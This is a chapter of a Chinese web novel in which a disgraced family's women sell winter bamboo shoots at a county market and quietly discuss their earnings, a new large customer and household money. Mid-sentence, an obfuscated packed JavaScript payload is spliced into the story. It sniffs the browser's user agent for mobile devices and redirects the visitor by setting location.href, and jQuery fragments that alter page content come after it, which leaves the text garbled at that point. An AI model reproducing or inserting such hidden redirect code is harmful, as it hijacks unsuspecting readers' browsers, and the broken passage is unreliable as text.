梨幼疑惑地看向傅则萦，显然不知她说的是什么。傅则萦自然也就知道这两日她们没遇到了。
小夫妻俩看着两个小女孩之间的互动，便开口说道：“每日都有官差来收的，也是巧了，不知这两日为什么不见人来，刚好让你们赶上了。”
“那她们是怎么收的？”傅则萦见对方清楚，便问道。
“一个摊位，收五文，要是占地多了，会适当加一些。管咱这一片的官差兄弟人不错，你们只要按规矩交了，他们也不会为难人的。”小哥先把话说全了，就怕小姑娘听到衙役就害怕，毕竟大部分人可能一生都不会和官府打交道，遇事也只喜欢躲着。
“那像梨幼昨日那样走动着卖呢？难道遇到一次就收一次吗？”
小哥憨憨地挠挠头：“这我也不甚清楚。不过我看那些货郎看见官差都提前躲着点走，碰见了肯定是要被抓住交钱的。”
傅则萦觉得自己大概是明白了。
街面上行人也开始陆陆续续多起来，会在各家的菜摊子前停留的多是女性，彭氏便便也会努力招呼着，毕竟她也经历两日了，就是再不习惯，也已冲破那重束缚。
何姨娘向来是内心强大的人，即便活了几十年，没经历过这样的日子，但她好歹是大丫鬟出身，见识和应变能力都不缺。
看着彭氏的招呼的样子，她在脑海里默默演练。等心中有了章程后，便开始有样学样地张口。
一开始她是帮着在一旁搭上几句配合得好话，渐渐地她比彭氏还要说得顺溜。
不管卖菜的人多么卖力，买菜的人依旧是在各个摊位上挑挑拣拣，讨价还价。
只有对菜满意了，对价钱也满意了，还有一种说不清道不明的心里感觉也满意了，这笔交易才算成。
不管是小夫妻的菜摊，还是彭氏她们的菜摊，成交也就十之一二。
一拨人流过后，摊前从热闹变得稀稀疏疏几人。
即便如此，冬笋也卖了十斤，五人的城门费算是回来了。
隔壁小夫妻俩的情况和她们大差不差，而且人来得少，城门费也花的少些。
“咱这么一会儿，就卖出去了十斤，怎么之前你回去说每日就卖出了七八斤呢？”何姨娘把彭氏拉在一旁，悄声问。
梨幼去兜售的事彭氏一时忘了跟何姨娘说，找到稳定大顾客的事暂时也瞒着。
说动何姨娘同意的理由也是说傅则萦答应把卖衣服的一两银子借给她，足够银钱去跑这一趟。顺势说出傅则萦对梨幼的担心。
不是情势所逼，谁又愿意弃自己骨肉于不顾，有条件的话，何姨娘甚至巴不得自己也能同行，哪有再反对的道理。
何姨娘也是在宅院里摸爬滚打几十年的老人，没那么天真，反而理解傅则萦的担忧。
想到人家在这危难时刻能伸出援手，她又怎会不感激，不帮她看顾着放心不下的伙伴。
毕竟傅则萦至亲的父亲兄长眼下并不在诚州府大牢里，人家完全可以装糊涂置之不理。
就像她自己之前也以破庙里一堆人眼前的生计更为重要，傅则萦也可以拿这个理由把彭氏的请求搪塞过去。
“好形势也就刚这一趟儿，这阵热闹后，后边卖笋的情况就没这么好了。不过……”彭氏拉过何姨娘的手，非常兴奋低声说，“昨日后来梨幼学着提着篮子到街面上兜售，把剩下的十来斤都给卖出去了。不过也不是主动去兜售就可以卖出去，还是这丫头能干。”
这真是让何姨娘又意外又惊喜。
“之所以没立即告知家里，也是因为不知道是不是每日都会这么好运气，事情没落听前，不好让大家抱有太大希望。而且，我也害怕养成一些人坐享其成的坏毛病。”
何姨娘深以为然：“你顾虑得有道理。不过，这事瞒一会儿还好，却不能长久为之。一是时间一长根本瞒不住；二是不好让大家误会你的初衷，免得辛辛苦苦忙活一场还不落好，最终在人嘴里还比不上那些在家里动嘴的人；最后就是，这事啊就怕别人有样学样，要是人人都这样，这个家不就散了。”
“姨娘考虑得周到，我知晓了。还有就是……”
看着彭氏神神秘秘的样子，何姨娘心中也是七上八下的。
没想到才两三天的功夫，彭氏这就有了这么多秘密，也怕这媳妇年轻不经事，惹下不小的麻烦。
“还有什么你一口气说完，我这一把老骨头可经不起吓，哪怕是好事，也受不起这起起伏伏的。”
“那我先说好事？”彭氏迟疑地问道。
“还有坏事？”何姨娘一手捂住胸口，“你别吓老婆子我，现在家里接二连三发生这么些事，我是再受不住吓了。”
彭氏连忙拍拍何姨娘的背：“别担心，别担心，不是外边的事，昨日没一下子告诉你，就是害怕您心中为难，在庙里落入别人眼中。就是我和两个小丫头商量好了，之前的收入，老夫人那心中也是满意的，所以我们想把这几日多挣的钱在忙活挖笋卖笋的人里分一分，大家手里有个钱防个万一，免得大家辛辛苦苦干活，除了那一日两次吃不饱的稀饭，什么都没得到，时间一长生出怨气。毕竟她们私下想要买点什么，大嫂那肯定是不会掏钱的。我还想到的是，之前在老夫人面前也提了，等咱家多挣了点钱了，家里干活的都适当地发些月例，这样家里做事的人，也能有个念想。”
“你这话说的有些道理，不过这事总不好放到明面上，说到老夫人面前，你还是不占理啊。”何姨娘担忧地说道。
“那也行，你老人家在的这一段时间咱就先不发出去，不过这笔钱我也还是想动一动。除了购置一些用具，多出来的我想这次带去诚州，能多塞几个钱给爷们就多塞几个。”彭氏想去掉何姨娘的担忧，也不想把何姨娘牵扯进来，有些打算放弃了，但是有些也想坚持。
何姨娘思考了一下，说道：“这样也行，这事也不需要瞒着，可直接和老夫人说。虽然说老夫人平日里偏疼了大太太一些，也不太爱管事，人却不糊涂的。以前也是就老爷和几位爷们护着，没让老夫人操心这些琐碎事。但我和她相处这么久了，还是了解她的，她是个明事理的。而且大牢里还有她的长子在，她也
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15173177|161515||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
放不下心。”
“我听姨娘的。就说今日多想了些办法，多卖了点，反正钱现在也不用交到大嫂那里，等临出发时，再和老夫人提出给爷们带些钱去。”
“行的，你考虑清楚就好。”何姨娘不纠结这些细节处。
这事两人达成共识后，彭氏又把另一件事给何姨娘交底了：“还有一件好事……”
前面所谓的坏事，何姨娘听来都不是吓死人的事，现在说是好事，何姨娘倒是不再提心吊胆了。
“什么好事？”何姨娘倒是也有些期待。
“昨日梨幼在兜售时还遇上了一个大主顾，从明日起隔日送二十斤冬笋去她们府上，就是价格上得饶上一文钱一斤。”彭氏细细说道，“不过本来这里摆摊时，时不时就得给别人让上几文钱，那里一斤少了一文钱倒也说不上是什么事了。”
何姨娘也感叹道：“是啊，让这点利算不上什么！那可真是个大买卖，量大，又稳定。好歹咱家这个冬日算是有着落了。”
“是啊，我们也是这样想的。”
两人说话声音放得很轻，虽然就在几人旁，可在这热闹的街市中，旁人倒是也没把她俩的话听了去。
话说毕，两人又往摊子的方向走了一两步，和众人一起守着摊子。
彭氏又想到了何姨娘最开始的疑问：“今日的确是比前两日卖得好些。第一日我和大嫂从绣庄分开后过来时，也差不多这个时辰，当时只卖了三斤出去了，后边是拖拖拉拉了一天才卖出去八斤。昨日这个时间点也就卖了四斤。梨幼丫头心思活络，看着这情形着急，才想了新的法子。话说也不知今日情况怎么就好了些？”
后边这话彭氏不再刻意压低声音，周边人都清楚地听到了。傅家五人同时都有这样的疑惑。
旁边菜摊小哥下意识想接话，可想到这两日，旁边这家人的两个妇人一直放不开，就算搭话也只会寻着他娘子。
两人又收拾得规规整整的，头上还梳着发髻，简单地用木棍插着，不像小丫头梨幼那样头上头发已经开始松散，和他娘，他娘子这样的乡下妇人明显不一样。
小哥老实憨厚并不机灵，但是也能看出这是大户人家落难了。对市井生活真是一无所知。
他用手臂推搡下自己媳妇，在媳妇看过来，眼睛往旁边傅家人方向动动。
夫妻俩很有些默契，小娘子立即接收到夫君的信息，于是冲傅家人说道：“几位嫂子来这日子浅还不清楚，咱这桐坳县城啊，每五日就有一次赶集的日子，和周围四个镇子一起轮着日子的。每到这日，人会多些，周边村子里的人往往会选在这一日进城。”
“哦，这样的啊！”傅家几人同时煞有介事地点头表示明白了原委。
只有傅则萦还睁着亮晶晶的眼睛看着小娘子，似乎还在等着她继续说没说完的话。
小娘子被陌生的小丫头盯得有些不好意思，忙转过头看向前方的摊子。
因着小姑娘之前大大方方地和夫妻俩打招呼，小哥倒是少了前面的顾忌。把媳妇忘了说而小丫头又在关注的话头接过去。